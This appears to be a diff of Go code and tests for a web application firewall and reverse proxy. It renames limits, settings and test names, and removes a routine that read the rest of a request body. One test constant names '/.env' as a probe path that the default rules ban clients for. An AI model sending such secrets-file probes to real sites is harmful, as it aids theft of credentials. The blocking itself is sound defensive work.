func New(busiestCount int, instanceName string) *Metrics {
|
||||
func New(topN int, instanceName string) *Metrics {
|
||||
byStatus := []string{"status_class", "action"}
|
||||
byFile := []string{"file"}
|
||||
registry := prometheus.NewRegistry()
|
||||
@@ -114,8 +114,8 @@ func New(busiestCount int, instanceName string) *Metrics {
|
||||
"and the rule's id.",
|
||||
[]string{"mode", "rule_id"},
|
||||
),
|
||||
countries: newCountries(busiestCount),
|
||||
asns: newASNs(busiestCount),
|
||||
countries: newCountries(topN),
|
||||
asns: newASNs(topN),
|
||||
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
|
||||
Name: "sww_geojs_requests_total",
|
||||
Help: "Requests to GeoJS.",
|
||||
|
||||
@@ -185,8 +185,8 @@ func New(limits Limits, maxClients int) *Limiter {
|
||||
}
|
||||
}
|
||||
|
||||
// Hit is a request that takes a client over a rate limit or the refusal
|
||||
// limit, or whose bytes take it over a byte limit.
|
||||
// Hit is a request that takes a client over a rate limit or the error
|
||||
// burst, or whose bytes take it over a byte limit.
|
||||
type Hit struct {
|
||||
// Kind is KindRequests for a rate limit, KindBytes for a byte limit,
|
||||
// KindRefusals for the refusal limit.
|
||||
@@ -263,10 +263,10 @@ func (l *Limiter) CountBytes(
|
||||
// CountRefusal counts a request from client at now that sww
|
||||
// refused after a rule file or Core Rule Set match or for a missing or
|
||||
// wrong token, and reports whether the client's refusals in the minute
|
||||
// that ends at now, this one included, are more than limit, which breaks
|
||||
// the refusal limit, and the hit.
|
||||
// that ends at now, this one included, are more than threshold, which
|
||||
// breaks the refusal limit, and the hit.
|
||||
func (l *Limiter) CountRefusal(
|
||||
client netip.Prefix, now time.Time, limit int64,
|
||||
client netip.Prefix, now time.Time, threshold int64,
|
||||
) (Hit, bool) {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
@@ -275,11 +275,11 @@ func (l *Limiter) CountRefusal(
|
||||
hit := Hit{
|
||||
Kind: KindRefusals,
|
||||
Window: "minute",
|
||||
Limit: limit,
|
||||
Limit: threshold,
|
||||
Count: count,
|
||||
}
|
||||
|
||||
return hit, count > float64(limit)
|
||||
return hit, count > float64(threshold)
|
||||
}
|
||||
|
||||
// Reset sets client's counts of requests, of bytes and of refusals in
|
||||
|
||||
@@ -351,9 +351,7 @@ func TestResetSetsTheBytesBackToZero(t *testing.T) {
|
||||
wantBytesCount(t, limiter, client, start, 1000, "")
|
||||
}
|
||||
|
||||
func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
|
||||
t *testing.T,
|
||||
) {
|
||||
func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
|
||||
@@ -363,7 +361,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
|
||||
for range limit {
|
||||
if _, over := limiter.CountRefusal(client, start, limit); over {
|
||||
t.Fatalf(
|
||||
"a refusal within the limit of %d broke the refusal limit",
|
||||
"a refusal within the threshold of %d broke the refusal limit",
|
||||
limit,
|
||||
)
|
||||
}
|
||||
@@ -376,7 +374,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
|
||||
}
|
||||
if !over || hit != want {
|
||||
t.Errorf(
|
||||
"one over the limit broke it: %t, with %+v; want %+v",
|
||||
"one over the threshold broke it: %t, with %+v; want %+v",
|
||||
over,
|
||||
hit,
|
||||
want,
|
||||
@@ -384,7 +382,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
|
||||
}
|
||||
|
||||
// Half a minute into the next, half of those four still count, 2, and
|
||||
// this one: 3, within the limit.
|
||||
// this one: 3, within the threshold.
|
||||
hit, over = limiter.CountRefusal(
|
||||
client,
|
||||
start.Add(time.Minute+time.Minute/2),
|
||||
|
||||
@@ -62,9 +62,9 @@ type Params struct {
|
||||
// RootCAs are the certificates a SchemeTLS endpoint's certificate
|
||||
// must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
|
||||
RootCAs *x509.CertPool
|
||||
// BufferLines is the most lines held while they wait to be sent
|
||||
// Buffer is the most lines held while they wait to be sent
|
||||
// (SWW_WAF_LOG_REMOTE_BUFFER_LINES).
|
||||
BufferLines int
|
||||
Buffer int
|
||||
// Facility is the number of the records' syslog facility
|
||||
// (SWW_WAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME
|
||||
// (SWW_WAF_LOG_REMOTE_APP_NAME).
|
||||
@@ -106,7 +106,7 @@ func New(params Params) *Sender {
|
||||
// id and the structured data have no value.
|
||||
beforeTime: "<" + strconv.Itoa(priority) + ">1 ",
|
||||
afterTime: " " + hostname + " " + params.AppName + " - - - ",
|
||||
records: make(chan []byte, params.BufferLines),
|
||||
records: make(chan []byte, params.Buffer),
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -129,7 +129,7 @@ func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(
|
||||
endpoint := listen(t)
|
||||
endpointParams := params(remotelog.SchemeTLS, endpoint.Addr())
|
||||
endpointParams.RootCAs = roots
|
||||
endpointParams.BufferLines = 3
|
||||
endpointParams.Buffer = 3
|
||||
sender, _, _ := run(t, endpointParams)
|
||||
|
||||
// The sender connects, and its TLS handshake waits for an answer
|
||||
@@ -402,10 +402,10 @@ func (o *output) text() string {
|
||||
// appName.
|
||||
func params(scheme string, addr net.Addr) remotelog.Params {
|
||||
return remotelog.Params{
|
||||
URL: &url.URL{Scheme: scheme, Host: addr.String()},
|
||||
BufferLines: 10,
|
||||
Facility: local0,
|
||||
AppName: appName,
|
||||
URL: &url.URL{Scheme: scheme, Host: addr.String()},
|
||||
Buffer: 10,
|
||||
Facility: local0,
|
||||
AppName: appName,
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -42,9 +42,9 @@ const (
|
||||
otherZone = "other.example"
|
||||
// cacheTTL is the tests' SWW_WAF_IP_REPUTATION_CACHE_TTL, and timeout
|
||||
// their SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS: a second, the least time
|
||||
// /etc/resolv.conf can have Go's resolver wait for one server, so that
|
||||
// it is the DNSBL's own timeout that ends a query, whatever that file
|
||||
// says.
|
||||
// /etc/resolv.conf
|
||||
// can have Go's resolver wait for one server, so that it is the
|
||||
// DNSBL's own timeout that ends a query, whatever that file says.
|
||||
cacheTTL = 24 * time.Hour
|
||||
timeout = time.Second
|
||||
// listed and unlisted are clients zone is asked about by the names
|
||||
|
||||
@@ -26,10 +26,6 @@ import (
|
||||
// post is the start of a POST whose headers end with what follows it.
|
||||
const post = "POST / HTTP/1.1\r\nHost: site.example\r\n"
|
||||
|
||||
// limitPastFirstPart is a SWW_RPROXY_MAX_REQUEST_SIZE past the first part of a
|
||||
// body, the 64 KiB rproxy reads before it asks waf.
|
||||
const limitPastFirstPart = "128K"
|
||||
|
||||
// announcedLength is the header that announces a body of size bytes, and the
|
||||
// end of the headers.
|
||||
func announcedLength(size int) string {
|
||||
@@ -79,10 +75,7 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
|
||||
size, asked int
|
||||
}{
|
||||
{"with the limit within the first part", "1K", 1025, 1024},
|
||||
{
|
||||
"with the limit past the first part", limitPastFirstPart, 129 << 10,
|
||||
questionBodyMaxBytes,
|
||||
},
|
||||
{"with the limit past the first part", "128K", 129 << 10, questionBodyMaxBytes},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
@@ -100,15 +93,10 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
|
||||
},
|
||||
)
|
||||
|
||||
// The visitor sends no Connection: close, so Go's server reads the rest
|
||||
// of the body before it closes the connection. Closed with the rest
|
||||
// unread, the connection is reset while the visitor still sends.
|
||||
conn := dial(t, addr)
|
||||
send(t, conn, post+announcedLength(tc.size)+
|
||||
strings.Repeat("x", tc.size))
|
||||
|
||||
if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge {
|
||||
t.Errorf("status %d, want 413", status)
|
||||
got := visit(t, newRequest(t, http.MethodPost, addr, "/",
|
||||
bytes.NewReader(make([]byte, tc.size))))
|
||||
if got.status != http.StatusRequestEntityTooLarge {
|
||||
t.Errorf("answered %+v, want 413", got)
|
||||
}
|
||||
|
||||
if asked := standIn.question(t); len(asked.body) != tc.asked {
|
||||
@@ -143,134 +131,6 @@ func TestADenyOutranksTheBodySizeLimit(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAVisitorSendingConnectionCloseReadsAnAnswerBeforeTheRestOfItsBody(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
waf http.HandlerFunc
|
||||
rest int
|
||||
status int
|
||||
}{
|
||||
{"over the size limit", allow, 65 << 10, http.StatusRequestEntityTooLarge},
|
||||
{"denied", deny, 65 << 10, http.StatusForbidden},
|
||||
// rproxy reads 256 KiB of this rest. What it leaves unread must fit in the
|
||||
// connection's buffers. Otherwise the visitor is still sending when the
|
||||
// connection closes, and gets a reset.
|
||||
{
|
||||
"with more than 256 KiB left", allow, 272 << 10,
|
||||
http.StatusRequestEntityTooLarge,
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, tc.waf)
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||
t.Error("the app was asked")
|
||||
})
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL,
|
||||
map[string]string{maxRequestSize: limitPastFirstPart})
|
||||
|
||||
conn := dial(t, addr)
|
||||
send(t, conn, post+"Connection: close\r\n"+
|
||||
announcedLength(questionBodyMaxBytes+tc.rest)+
|
||||
strings.Repeat("x", questionBodyMaxBytes))
|
||||
|
||||
reader := bufio.NewReader(conn)
|
||||
|
||||
res, err := http.ReadResponse(reader, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("read the answer: %v", err)
|
||||
}
|
||||
|
||||
_, _ = io.Copy(io.Discard, res.Body)
|
||||
_ = res.Body.Close()
|
||||
|
||||
if res.StatusCode != tc.status {
|
||||
t.Errorf("status %d, want %d", res.StatusCode, tc.status)
|
||||
}
|
||||
|
||||
// The rest goes in small parts, so that a reset fails a later one.
|
||||
for sent := 0; sent < tc.rest; sent += 1 << 10 {
|
||||
send(t, conn, strings.Repeat("x", 1<<10))
|
||||
}
|
||||
|
||||
got, err := io.ReadAll(reader)
|
||||
if err != nil || len(got) != 0 {
|
||||
t.Errorf(
|
||||
"after the answer, read %q and %v, want the end",
|
||||
got,
|
||||
err,
|
||||
)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCloseDoesNotWaitForTheRestOfTheBodyOfAVisitorSendingConnectionClose(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
w.Header().Set(dispositionHeader, dispositionClose)
|
||||
w.WriteHeader(http.StatusOK)
|
||||
})
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||
t.Error("the app was asked")
|
||||
})
|
||||
// The request time limit is far longer than dial's deadline.
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
maxRequestTime: "120000",
|
||||
})
|
||||
|
||||
conn := dial(t, addr)
|
||||
send(t, conn, post+"Connection: close\r\n"+
|
||||
announcedLength(2*questionBodyMaxBytes)+
|
||||
strings.Repeat("x", questionBodyMaxBytes))
|
||||
|
||||
// If the connection stays open, dial's deadline ends this read with a timeout.
|
||||
text, err := io.ReadAll(conn)
|
||||
if err != nil || len(text) != 0 {
|
||||
t.Errorf(
|
||||
"read %q (%v), want the connection closed without an answer",
|
||||
text,
|
||||
err,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAVisitorSendingConnectionCloseGetsTheEndOfAnAnswerWithoutContentLengthAtOnce(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, allow)
|
||||
// The flush has the app's server send greeting in chunks instead of adding a
|
||||
// Content-Length.
|
||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
rc := http.NewResponseController(w)
|
||||
_ = rc.EnableFullDuplex()
|
||||
|
||||
_, _ = io.WriteString(w, greeting)
|
||||
_ = rc.Flush()
|
||||
})
|
||||
// The request time limit is far longer than dial's deadline.
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
maxRequestTime: "120000",
|
||||
})
|
||||
|
||||
conn := dial(t, addr)
|
||||
send(t, conn, post+"Connection: close\r\n"+
|
||||
announcedLength(2*questionBodyMaxBytes)+
|
||||
strings.Repeat("x", questionBodyMaxBytes+1))
|
||||
|
||||
wantGreeting(t, readAnswer(t, conn))
|
||||
}
|
||||
|
||||
func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -283,7 +143,7 @@ func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
|
||||
mayReachApp bool
|
||||
}{
|
||||
{"within the first part", "1K", 2 << 10, false},
|
||||
{"past the first part", limitPastFirstPart, 129 << 10, true},
|
||||
{"past the first part", "128K", 129 << 10, true},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -38,10 +38,6 @@ const plainText = "text/plain; charset=utf-8"
|
||||
// and the visitor then gets a closed connection and no answer.
|
||||
const minSendTime = 10 * time.Second
|
||||
|
||||
// maxBodyReadAfterAnswer is the most of a body left unread that Go's server
|
||||
// reads once the handler returns, for a visitor without Connection: close.
|
||||
const maxBodyReadAfterAnswer = 256 << 10
|
||||
|
||||
// errResponseTooLate refuses an app's answer that arrives once
|
||||
// SWW_RPROXY_MAX_RESPONSE_TIME_MS has run out.
|
||||
var errResponseTooLate = errors.New(
|
||||
@@ -343,8 +339,8 @@ func (rq *request) answer(status int) {
|
||||
}
|
||||
|
||||
// A visitor found too slow is read no more; any other may go on sending until
|
||||
// its time is up, so that the rest of the body is read and the request ends
|
||||
// cleanly: by Go's server, or by readRestOfBody.
|
||||
// its time is up, so that Go's server can read the rest of the body and end
|
||||
// the request cleanly.
|
||||
deadline := rq.requestDeadline()
|
||||
if status == http.StatusRequestTimeout {
|
||||
deadline = time.Now()
|
||||
@@ -528,35 +524,10 @@ func (rq *request) stopReadingBody(deadline time.Time) {
|
||||
_ = rq.rc.SetReadDeadline(deadline)
|
||||
}
|
||||
|
||||
// readRestOfBody reads up to 256 KiB of the rest of the body once the visitor
|
||||
// has been answered with a Content-Length, until the read deadline already set on
|
||||
// the connection. It does this only for a body with a declared length from a
|
||||
// visitor that sent Connection: close, because Go's server reads none of that
|
||||
// rest. Without the read, the visitor, still sending, gets a reset and may never
|
||||
// read the answer. Go's server ends an answer without a Content-Length only once
|
||||
// the handler returns, so reading first would hold back the end of that answer.
|
||||
// Past 256 KiB, the MaxBytesReader made with Go's own ResponseWriter has Go's
|
||||
// server tell the visitor it sends no more, then wait 500 ms before it closes
|
||||
// the connection.
|
||||
func (rq *request) readRestOfBody() {
|
||||
if !rq.in.Close || rq.in.ContentLength <= 0 || rq.body.received.Load() ||
|
||||
rq.out.Header().Get("Content-Length") == "" ||
|
||||
rq.out.status == http.StatusSwitchingProtocols {
|
||||
return
|
||||
}
|
||||
|
||||
rest := http.MaxBytesReader(
|
||||
rq.out.ResponseWriter,
|
||||
rq.in.Body,
|
||||
maxBodyReadAfterAnswer,
|
||||
)
|
||||
_, _ = io.Copy(io.Discard, rest)
|
||||
}
|
||||
|
||||
// stopPassingOnBody ends the transport's reading of a visitor's body that has
|
||||
// not arrived whole, and lets Go's server, or readRestOfBody, read the rest until
|
||||
// deadline. Go's server reads it once the handler returns, but with no deadline
|
||||
// at all if another read of it is still waiting.
|
||||
// not arrived whole, and lets Go's server read the rest until deadline. Go's
|
||||
// server reads it once the handler returns, but with no deadline at all if
|
||||
// another read of it is still waiting.
|
||||
func (rq *request) stopPassingOnBody(deadline time.Time) {
|
||||
if rq.body == nil || rq.body.received.Load() {
|
||||
return
|
||||
|
||||
@@ -110,7 +110,8 @@ func New(params Params) *Server {
|
||||
|
||||
// WaitForReports returns once the reports being sent have gone or failed,
|
||||
// which SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS bounds. Any report after this call
|
||||
// is dropped: that of a WebSocket that closes while rproxy stops, for one.
|
||||
// is dropped: that of
|
||||
// a WebSocket that closes while rproxy stops, for one.
|
||||
func (s *Server) WaitForReports() {
|
||||
s.h.reportsMu.Lock()
|
||||
s.h.reportsStopped = true
|
||||
@@ -170,7 +171,6 @@ func newWAFTransport() *http.Transport {
|
||||
// it writes the request's log line and sends its report.
|
||||
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
rq := h.newRequest(w, r)
|
||||
defer rq.readRestOfBody()
|
||||
defer rq.finish(r.Context())
|
||||
|
||||
if r.Method == http.MethodGet && r.URL.Path == waf.HealthPath {
|
||||
|
||||
@@ -44,13 +44,13 @@ const (
|
||||
|
||||
// The settings the tests set.
|
||||
const (
|
||||
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
||||
noAnswerSetting = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
|
||||
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
|
||||
maxRequestSize = "SWW_RPROXY_MAX_REQUEST_SIZE"
|
||||
maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE"
|
||||
maxRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
|
||||
maxResponseTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
|
||||
timeoutSetting = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
||||
noAnswerSetting = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
|
||||
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
|
||||
maxRequestSize = "SWW_RPROXY_MAX_REQUEST_SIZE"
|
||||
maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE"
|
||||
maxRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
|
||||
maxResponseTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
|
||||
)
|
||||
|
||||
// The headers the tests set and look at.
|
||||
@@ -956,8 +956,7 @@ func answeringWith(answer http.HandlerFunc) func(t *testing.T) string {
|
||||
}
|
||||
}
|
||||
|
||||
// noAnswers are the ways waf can leave the decision to
|
||||
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION.
|
||||
// noAnswers are the ways waf can leave the decision to the default.
|
||||
func noAnswers() map[string]func(t *testing.T) string {
|
||||
return map[string]func(t *testing.T) string{
|
||||
"no connection": func(*testing.T) string { return nowhere },
|
||||
@@ -1009,8 +1008,7 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
|
||||
{"an unknown disposition", "maybe", "who knows\n", http.StatusOK},
|
||||
} {
|
||||
for _, setting := range []string{dispositionAllow, dispositionDeny} {
|
||||
subtest := tc.name + " with " + noAnswerSetting + "=" + setting
|
||||
t.Run(subtest, func(t *testing.T) {
|
||||
t.Run(tc.name+" with the default "+setting, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(
|
||||
@@ -1051,7 +1049,7 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
|
||||
if line["status"] != float64(tc.status) ||
|
||||
line["waf_backend_no_answer"] != nil {
|
||||
t.Errorf(
|
||||
"line %v, want status %d and no waf_backend_no_answer",
|
||||
"line %v, want status %d and no default",
|
||||
line,
|
||||
tc.status,
|
||||
)
|
||||
@@ -1111,7 +1109,7 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
|
||||
_, _ = w.Write(make([]byte, size))
|
||||
})
|
||||
addr, _ := startRProxy(t, standIn.URL, nowhere, map[string]string{
|
||||
wafBackendTimeout: "60000",
|
||||
timeoutSetting: "60000",
|
||||
})
|
||||
|
||||
got := get(t, addr, "/")
|
||||
@@ -1204,8 +1202,7 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
|
||||
"a 101 that holds its connection open": answeringWith(switchAndHold),
|
||||
} {
|
||||
for _, setting := range []string{dispositionAllow, dispositionDeny} {
|
||||
subtest := name + " with " + noAnswerSetting + "=" + setting
|
||||
t.Run(subtest, func(t *testing.T) {
|
||||
t.Run(name+" with the default "+setting, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||
@@ -1216,8 +1213,8 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
|
||||
backend(t),
|
||||
app.URL,
|
||||
map[string]string{
|
||||
wafBackendTimeout: "60000",
|
||||
noAnswerSetting: setting,
|
||||
timeoutSetting: "60000",
|
||||
noAnswerSetting: setting,
|
||||
},
|
||||
)
|
||||
|
||||
@@ -1245,7 +1242,7 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
|
||||
|
||||
standIn := startWAF(t, overOneMiB(dispositionDeny))
|
||||
addr, out := startRProxy(t, standIn.URL, nowhere, map[string]string{
|
||||
wafBackendTimeout: "60000",
|
||||
timeoutSetting: "60000",
|
||||
})
|
||||
|
||||
if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
|
||||
@@ -1256,9 +1253,7 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
|
||||
standIn.wantNoReport(t)
|
||||
}
|
||||
|
||||
func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
||||
t *testing.T,
|
||||
) {
|
||||
func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for name, backend := range noAnswers() {
|
||||
@@ -1271,7 +1266,7 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
||||
backend(t),
|
||||
app.URL,
|
||||
map[string]string{
|
||||
wafBackendTimeout: "200",
|
||||
timeoutSetting: "200",
|
||||
},
|
||||
)
|
||||
|
||||
@@ -1280,10 +1275,7 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
||||
line := out.requestLine(t)
|
||||
if line["disposition"] != dispositionAllow ||
|
||||
line["waf_backend_no_answer"] != true {
|
||||
t.Errorf(
|
||||
"line %v, want allow and waf_backend_no_answer",
|
||||
line,
|
||||
)
|
||||
t.Errorf("line %v, want allow by default", line)
|
||||
}
|
||||
})
|
||||
|
||||
@@ -1298,8 +1290,8 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
||||
backend(t),
|
||||
app.URL,
|
||||
map[string]string{
|
||||
wafBackendTimeout: "200",
|
||||
noAnswerSetting: dispositionDeny,
|
||||
timeoutSetting: "200",
|
||||
noAnswerSetting: dispositionDeny,
|
||||
},
|
||||
)
|
||||
|
||||
@@ -1311,20 +1303,17 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
||||
line := out.requestLine(t)
|
||||
if line["disposition"] != dispositionDeny ||
|
||||
line["waf_backend_no_answer"] != true {
|
||||
t.Errorf(
|
||||
"line %v, want deny and waf_backend_no_answer",
|
||||
line,
|
||||
)
|
||||
t.Errorf("line %v, want deny by default", line)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
|
||||
func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, disposition := range []string{dispositionAllow, dispositionDeny} {
|
||||
t.Run(noAnswerSetting+"="+disposition, func(t *testing.T) {
|
||||
t.Run("with the default "+disposition, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(
|
||||
@@ -1341,8 +1330,8 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
|
||||
standIn.URL,
|
||||
app.URL,
|
||||
map[string]string{
|
||||
wafBackendTimeout: "60000",
|
||||
noAnswerSetting: disposition,
|
||||
timeoutSetting: "60000",
|
||||
noAnswerSetting: disposition,
|
||||
},
|
||||
)
|
||||
|
||||
@@ -1367,9 +1356,7 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestRProxyWarnsWhenTheWAFBackendNoAnswerDispositionDecides(
|
||||
t *testing.T,
|
||||
) {
|
||||
func TestRProxyWarnsWhenTheDefaultDecides(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
app := startApp(t, greet)
|
||||
@@ -1387,7 +1374,7 @@ func TestSendsNoReportWithoutAnAnswer(t *testing.T) {
|
||||
})
|
||||
app := startApp(t, greet)
|
||||
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
wafBackendTimeout: "200",
|
||||
timeoutSetting: "200",
|
||||
})
|
||||
|
||||
wantGreeting(t, get(t, addr, "/"))
|
||||
@@ -1451,7 +1438,7 @@ func TestTheVisitorDoesNotWaitForTheReport(t *testing.T) {
|
||||
|
||||
app := startApp(t, greet)
|
||||
addr, _ := startRProxy(t, backend, app.URL, map[string]string{
|
||||
wafBackendTimeout: "60000",
|
||||
timeoutSetting: "60000",
|
||||
})
|
||||
|
||||
t.Cleanup(func() { close(release) })
|
||||
@@ -1494,7 +1481,7 @@ func TestAReportWAFLeavesUnansweredIsDroppedAtTheTimeLimit(t *testing.T) {
|
||||
// The time limit is long enough for a loaded host to answer the question before
|
||||
// it runs out.
|
||||
addr, out := startRProxy(t, backend, app.URL, map[string]string{
|
||||
wafBackendTimeout: "3000",
|
||||
timeoutSetting: "3000",
|
||||
})
|
||||
|
||||
t.Cleanup(func() { close(release) })
|
||||
@@ -1524,7 +1511,7 @@ func TestAReportAnswered101IsDroppedAtOnce(t *testing.T) {
|
||||
backend := startWAFAnsweringReports(t, allow, switchAndHold)
|
||||
app := startApp(t, greet)
|
||||
addr, out := startRProxy(t, backend, app.URL, map[string]string{
|
||||
wafBackendTimeout: "60000",
|
||||
timeoutSetting: "60000",
|
||||
})
|
||||
|
||||
wantGreeting(t, get(t, addr, "/"))
|
||||
@@ -1612,7 +1599,7 @@ func TestWaitForReportsWaitsForAReportBeingSent(t *testing.T) {
|
||||
backend.URL,
|
||||
app.URL,
|
||||
map[string]string{
|
||||
wafBackendTimeout: "5000",
|
||||
timeoutSetting: "5000",
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@@ -16,10 +16,10 @@ import (
|
||||
// RunRProxy is `sww rproxy`: it reads rproxy's settings, then serves
|
||||
// requests until ctx is done. Then it gives the requests in progress
|
||||
// shutdownTimeout to finish, and the reports being sent
|
||||
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. It returns the process's exit status, 1
|
||||
// when rproxy cannot start. Its process messages name the host's name as
|
||||
// instance, and it writes those at info or more severe: rproxy has no
|
||||
// setting for either.
|
||||
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. It
|
||||
// returns the process's exit status, 1 when rproxy cannot start. Its process
|
||||
// messages name the host's name as instance, and it writes those at info or
|
||||
// more severe: rproxy has no setting for either.
|
||||
func RunRProxy(ctx context.Context, params Params) int {
|
||||
hostname, _ := os.Hostname() // "" when the host has no name to give
|
||||
processLog := requestlog.NewProcessLogger(
|
||||
|
||||
@@ -31,8 +31,8 @@ const (
|
||||
rproxyListenAddr = "SWW_RPROXY_LISTEN_ADDR"
|
||||
// rproxyUpstreamURL is the setting that says where the app is.
|
||||
rproxyUpstreamURL = "SWW_RPROXY_UPSTREAM_URL"
|
||||
// wafBackendTimeout is the setting that says how long rproxy waits for waf.
|
||||
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
||||
// rproxyTimeout is the setting that says how long rproxy waits for waf.
|
||||
rproxyTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
||||
// bannedProbe is a path the default rule file bans a client for.
|
||||
bannedProbe = "/.env"
|
||||
// otherClient is a client the tests do not ban.
|
||||
@@ -241,8 +241,7 @@ func TestTheSiteAnswersWhileWAFIsStoppedAndStartedAgain(t *testing.T) {
|
||||
forwardTo("")
|
||||
stop()
|
||||
|
||||
// With waf down, the site answers, and rproxy says
|
||||
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION did it.
|
||||
// With waf down, the site answers, and rproxy says the default did it.
|
||||
wantStatus(t, site+"/after-stop", placed, http.StatusOK)
|
||||
|
||||
line := out.line(t, "path", "/after-stop")
|
||||
@@ -692,7 +691,7 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
|
||||
env := map[string]string{
|
||||
rproxyListenAddr: localhost + ":0",
|
||||
"SWW_RPROXY_UPSTREAM_URL": startApp(t),
|
||||
wafBackendTimeout: "60000",
|
||||
rproxyTimeout: "60000",
|
||||
wafBackend: backend.URL,
|
||||
}
|
||||
out := &output{}
|
||||
@@ -856,8 +855,8 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
|
||||
}{
|
||||
